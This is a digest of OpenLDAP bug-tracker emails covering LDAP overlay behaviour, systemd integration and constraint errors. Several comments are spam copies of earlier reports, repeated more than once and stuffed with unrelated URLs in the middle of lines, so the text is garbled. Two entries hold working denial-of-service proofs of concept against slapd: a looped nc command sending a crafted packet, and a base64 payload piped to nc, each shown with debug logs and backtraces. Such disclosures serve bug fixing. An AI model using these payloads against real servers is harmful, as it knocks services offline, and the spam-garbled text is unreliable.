https://bugs.openldap.org/show_bug.cgi?id=6656
--- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
his overlay provides simple support for allowedAttributes and
allowedAttributesEffective, a (somewhat broken) AD feature that
http://www-look-4.com/ is intended to
help GUIs into determining, based on the current objectClass values of an
object, what attributes would comply with the schema (without distinction
between "allowed" and "required"), by listing them in
http://www.compilatori.com/ "allowedAttributes", and,
furthermore, by providing a hint to what of those values could be effectively
added by the current connection, by listing them in
http://www.wearelondonmade.com/
"allowedAttributesEffective". This is broken since it doesn't consider the
possibility of value-dependent ACLs, so it should really be considered just a
hint, while the "allowedAttributes" http://www.jopspeech.com/ could really be
computed starting from the
schema definition, which remains the recommended way to solve the problem
http://joerg.li/
So this overlay should really be considered only food for thought as a starting
base for a tighter integration of OpenLDAP into Samba4.
There's minimal support for "allowedChildClasses" and http://connstr.net/
"allowedChildClassesEffective", whose definition is absolutely obscure to me,
as
I believe the only classes that can be added to an existing object are all the
AUXILIARY ones, while considering what are effectively allowed implies getting
into value-dependent ACLs. http://embermanchester.uk/
Some discussion can be found here (follow the thread)
his overlay provides simple support for allowedAttributes and
allowedAttributesEffective, a (somewhat broken) AD feature that is intended to
help GUIs into determining, based on the current objectClass values of an
http://www.slipstone.co.uk/
object, what attributes would comply with the schema (without distinction
between "allowed" and "required"), by listing them in "allowedAttributes", and,
furthermore, by providing a hint to what of http://www.logoarts.co.uk/ those
values could be effectively
added by the current connection, by listing them in
"allowedAttributesEffective". This is broken since it doesn't consider the
possibility of value-dependent ACLs, so it should really be considered just a
http://www.acpirateradio.co.uk/
hint, while the "allowedAttributes" could really be computed starting from the
schema definition, which remains the recommended way to solve the problem
So this overlay should really be considered only
http://www.acpirateradio.co.uk/ food for thought as a starting
base for a tighter integration of OpenLDAP into Samba4.
There's minimal support for "allowedChildClasses" and
https://waytowhatsnext.com/
"allowedChildClassesEffective", whose definition is absolutely obscure to me,
as
I believe the only classes that can be added to an existing object are all the
AUXILIARY ones, while considering what are effectively allowed implies getting
into value-dependent ACLs.
https://www.webb-dev.co.uk/
Some discussion can be found here (follow the thread)
So I guess my recommendation for the notify call boils down to:
rc = sd_notify( 1, "READY=1" );
and a slapd.service along the lines of:
[Unit]
Description=OpenLDAP server
[Service]
Type=notify http://www.iu-bloomington.com/
ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0
[Install]
WantedBy=multi-user.target
(basically identical to the example in systemd.service(5).)
Side note: the version message from slapd appears in the journal twice,
once with the timestamp and once without...
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=6899
--- Comment #11 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
> Note that with assertion control always
>> Operations error: "unique_search failed"
>> is returned even if the attribute values http://www-look-4.com/ are unique.
>>
>> I'd really like to get this solved. web2ldap makes use of the assertion
>> control to ensure that an entry has not been changed since being
>> edited by the
>> user. Otherwise I have to implement another vendor-specific hack http://www.compilatori.com/
>> switching off
>> this feature when OpenLDAP is used as server. :-(
>
> First step toward a solution would be providing slapd -d output for the
> problem. Probably a sample config would help too. http://www.wearelondonmade.com/
(Sigh! Did anybody actually read through my report?)
http://www.jopspeech.com/
Take any slapd.conf with database hdb and add these lines (no other overlays
configured):
overlay unique
unique_attributes uid uidNumber employeeNumber http://joerg.li/
Or any other LDAP-URL-based unique constraint...
Then apply a LDIF change record (example below) which contains any of the
http://connstr.net/
attributes defined as unique (no matter whether unique constraint is violated
or not).
------------------------------- snip -------------------------------
dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local
changetype: modify
replace: employeeNumber http://embermanchester.uk/
employeeNumber: 456
-
------------------------------- snip -------------------------------
Try these commands (bind-DN is the rootdn here):
http://www.slipstone.co.uk/
Without assertion control it works:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
http://www.logoarts.co.uk/
Assertion control just contains objectClass filter:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e
'assert=(objectClass=*)'
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
http://www.acpirateradio.co.uk/
This fails:
$ ldapmodify -H ldap://localhost:2071 -D
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e
'assert=(cn=*)'modifying entry "cn=Anna
Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
ldap_modify: Operations error (1)
additional info: unique_search failed
> Note that with assertion control always
>> Operations error: "unique_search failed" https://waytowhatsnext.com/
>> is returned even if the attribute values are unique.
>>
>> I'd really like to get this solved. web2ldap makes use of the assertion
>> control to ensure that an entry has not been changed since being
>> edited by the
>> user. Otherwise I have to implement another vendor-specific hack
>> switching off
>> this feature when OpenLDAP is used as server. :-(
>
> First step toward a solution would be providing slapd -d output for the
> problem. Probably a sample config would help too. https://www.webb-dev.co.uk/
(Sigh! Did anybody actually read through my report?)
Take any slapd.conf with database hdb and add these lines (no other overlays
configured):
overlay unique
unique_attributes uid uidNumber employeeNumber
Or any other LDAP-URL-based unique constraint...
Then apply a LDIF change record (example below) which contains any of the
attributes defined as unique (no matter whether unique constraint is violated
or not).
------------------------------- snip -------------------------------
dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local
changetype: modify
replace: employeeNumber
employeeNumber: 456
-
------------------------------- snip -------------------------------
Try these commands (bind-DN is the rootdn here):
Without assertion control it works:
$ ldapmodify -H ldap://localhost:2071 -D http://www.iu-bloomington.com/
"uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif
modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local"
Assertion control just contains objectClass filter:
$ ldapmodify -H ldap://localhost:2071 -D
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9428
Issue ID: 9428
Summary: DoS due to infinite packet processing in slapd
Product: OpenLDAP
Version: unspecified
Hardware: All
OS: All
Status: UNCONFIRMED
Severity: normal
Priority: ---
Component: slapd
Assignee: bugs(a)openldap.org
Reporter: phasip(a)gmail.com
Target Milestone: ---
Processing of a packet results in the command handling thread becomming stuck
in an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8707
--- Comment #32 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending http://www-look-4.com/ 32 of theese slapd doesn't respond to
any new queries and consumes 100% cpu
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 http://www.compilatori.com/ 3030
3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
http://www.wearelondonmade.com/
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield () http://www.jopspeech.com/
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
http://joerg.li/
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
http://connstr.net/
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175 http://embermanchester.uk/
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314 http://www.slipstone.co.uk/
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone () http://www.logoarts.co.uk/
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
http://www.acpirateradio.co.uk/ | timeout 1 nc localhost 1389 & done
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
https://waytowhatsnext.com/
Packet
00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1.
00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000
00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000
00000040: 30 0
GDB backtrace
(gdb) thread 3
[Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
#0 0x00007ffff7eb489b in sched_yield ()https://www.webb-dev.co.uk/
at ../sysdeps/unix/syscall-template.S:78
78 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) bt
#0 0x00007ffff7eb489b in sched_yield ()
at ../sysdeps/unix/syscall-template.S:78
#1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
#2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
at cancel.c:143
#3 0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:225
#4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
at extended.c:175 http://www.iu-bloomington.com/
#5 0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0,
arg_v=0x7fff7c001160) at connection.c:1163
#6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
at connection.c:1314
#7 0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
at tpool.c:1051
#8 0x00007ffff7faa609 in start_thread (arg=<optimized out>)
at pthread_create.c:477
#9 0x00007ffff7ed1293 in clone ()
at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8197
--- Comment #2 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
Thanks for working on this! I'm also interested in having this feature.
http://www-look-4.com/
What do you think about including a slapd.service file? I know OpenLDAP
has traditionally not included an init script, but systemd units are
intended to be distro-agnostic as far as possible, http://www.compilatori.com/
and shipped by
upstream projects in most cases, unlike init scripts. Ideally I'd like
to include a template in the source and have the build system fill in
the autoconf'ed path (i.e. to slapd) and have 'make install' install it
to the right place. http://www.wearelondonmade.com/
Autoconf bits look fine to me.
>+ rc = sd_notifyf( 1,
>+ "READY=1\n"
>+ "STATUS=slapd: ready to serve connections...\n" http://www.jopspeech.com/
>+ "MAINPID=%lu",
>+ (unsigned long) getpid() );
unset_environment=1 seems reasonable, http://joerg.li/ it's a little
unfortunate that we
can't call (for example) sd_notify("STOPPING=1") afterward, but it feels
worthwhile compared to having to sanitize the environment when forking a
child process. http://connstr.net/
I'm not sure the STATUS= message adds value compared to just the basic
readiness notification; can you comment on why you included it?
http://embermanchester.uk/
I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of
whether we set Type=forking or Type=notify. Not exactly "needed", but better to
have it than not.
I see you've placed this call later than the parent's exit point. Any
comments about the timing of this relative to the parent's exit, and to
the listener startup and so on? Are the listeners more likely to be
http://embermanchester.uk/
ready to serve connections at this point? I seem to recall that in the
past there was opposition to moving the parent's exit later, but I can't
remember why. (and I still wish we could do that, and dispense with the
ldapsearch-loop hacks...)
http://www.slipstone.co.uk/
Thanks for working on this! I'm also interested in having this feature.
What do you think about including a slapd.service file? I know OpenLDAP
has traditionally not included an init script, but systemd units are
intended to be distro-agnostic as far as possible, http://www.logoarts.co.uk/
and shipped by
upstream projects in most cases, unlike init scripts. Ideally I'd like
to include a template in the source and have the build system fill in
the autoconf'ed path (i.e. to slapd) and have 'make install' install it
to the right place. http://www.acpirateradio.co.uk/
Autoconf bits look fine to me.
>+ rc = sd_notifyf( 1,
>+ "READY=1\n"
>+ "STATUS=slapd: ready to serve connections...\n"
>+ "MAINPID=%lu", https://waytowhatsnext.com/
>+ (unsigned long) getpid() );
unset_environment=1 seems reasonable, it's a little unfortunate that we
can't call (for example) sd_notify("STOPPING=1") afterward, but it feels
worthwhile compared to having to sanitize the environment when forking a
child process. https://www.webb-dev.co.uk/
I'm not sure the STATUS= message adds value compared to just the basic
readiness notification; can you comment on why you included it?
I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of
whether we set Type=forking or Type=notify. Not exactly "needed", but better to
have it than not.
http://www.iu-bloomington.com/
I see you've placed this call later than the parent's exit point. Any
comments about the timing of this relative to the parent's exit, and to
the listener startup and so on? Are the listeners more likely to be
ready to serve connections at this point? I seem to recall that in the
past there was opposition to moving the parent's exit later, but I can't
remember why. (and I still wish we could do that, and dispense with the
ldapsearch-loop hacks...)
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8240
--- Comment #21 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
List message:
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach. http://www-look-4.com/
This works ok in most setups.
But in a more strict setup (release 2.4.41) with slapo-constraint and
constraints on the RDN's characteristic attribute those MODRDN requests
http://www.compilatori.com/
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases.
http://www.wearelondonmade.com/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general http://www.jopspeech.com/ approach
especially when thinking about
all the other LDAP servers out there.
http://joerg.li/
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should it be fixed therein?
List message:
http://connstr.net/
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach.
This works ok in most setups. http://embermanchester.uk/
But in a more strict setup (release 2.4.41) with slapo-constraint and
constraints on the RDN's characteristic attribute those MODRDN requests
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases. http://www.slipstone.co.uk/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general approach especially when thinking about
all the other LDAP servers out there. http://www.logoarts.co.uk/
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should it be fixed therein?
List message:
http://www.acpirateradio.co.uk/
When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry
but also send delold: 0 in the MODRDN operation. IMO this is most minimal
invasive approach.
This works ok in most setups.
But in a more strict setup (release 2.4.41) with slapo-constraint and
https://waytowhatsnext.com/
constraints on the RDN's characteristic attribute those MODRDN requests
trigger a constraint and fails with 'Constraint violation' although the RDN
value is not changed. I can't tell whether this was different with older
OpenLDAP releases. https://www.webb-dev.co.uk/
Even more strange: It works with delold: 1.
So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not
sure whether that's the right general approach especially when thinking about
all the other LDAP servers out there.
So the question is: Is this an overzealous misbehaviour of slapo-constraint
and should http://www.iu-bloomington.com/ it be fixed therein?
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=9202
--- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> ---
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details http://www-look-4.com/ a vulnerability found within the
OpenLDAP server daemon. A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
http://www.compilatori.com/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository. http://www.wearelondonmade.com/
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP
http://www.jopspeech.com/ daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://joerg.li/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode. http://connstr.net/
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
http://embermanchester.uk/
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next http://www.slipstone.co.uk/
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
https://waytowhatsnext.com/
OpenLDAP ber_get_next Denial of Service
Affected Versions: OpenLDAP <= 2.4.42
+-------------+
| Description |
+-------------+
This document details a vulnerability found within the OpenLDAP server daemon.
A
Denial of Service vulnerability was discovered within the slapd daemon,
allowing
an unauthenticated attacker to crash the OpenLDAP server.
https://www.webb-dev.co.uk/
By sending a crafted packet, an attacker may cause the OpenLDAP server to reach
an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP
2.4.42
(built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package
repository.
+--------------+
| Exploitation |
+--------------+
By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash
with a SIGABRT. This is due to an assert() call within the ber_get_next method
(io.c line 682) that is hit when decoding tampered BER data.
The following proof of concept exploit can be used to trigger the condition:
http://www.iu-bloomington.com/
--[ Exploit POC
echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389
The above causes slapd to abort as follows when running with '-d3', however it
should be noted that this will crash the server even when running in daemon
mode.
--[ adadp -d3
55f0b36e slap_listener_activate(7):
55f0b36e >>> slap_listener(ldap:///)
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=8, got=8
0000: ff 84 84 84 84 84 77 83 ......w.
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
ldap_read: want=1, got=1
0000: 0a .
55f0b36e connection_get(15): got connid=1000
55f0b36e connection_read(15): checking for input on id=1000
ber_get_next
slapd: io.c:682: ber_get_next: Assertion `0' failed.
The following GDB back trace provides further information as to the location of
the issue.
--[ back trace
program received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff2e4a700 (LWP 1371)]
0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory.
(gdb) bt
--
You are receiving this mail because:
You are on the CC list for the issue.
https://bugs.openldap.org/show_bug.cgi?id=8852
Quanah Gibson-Mount <quanah(a)openldap.org> changed:
What |Removed |Added
----------------------------------------------------------------------------
Keywords|reviewed |
--
You are receiving this mail because:
You are on the CC list for the issue.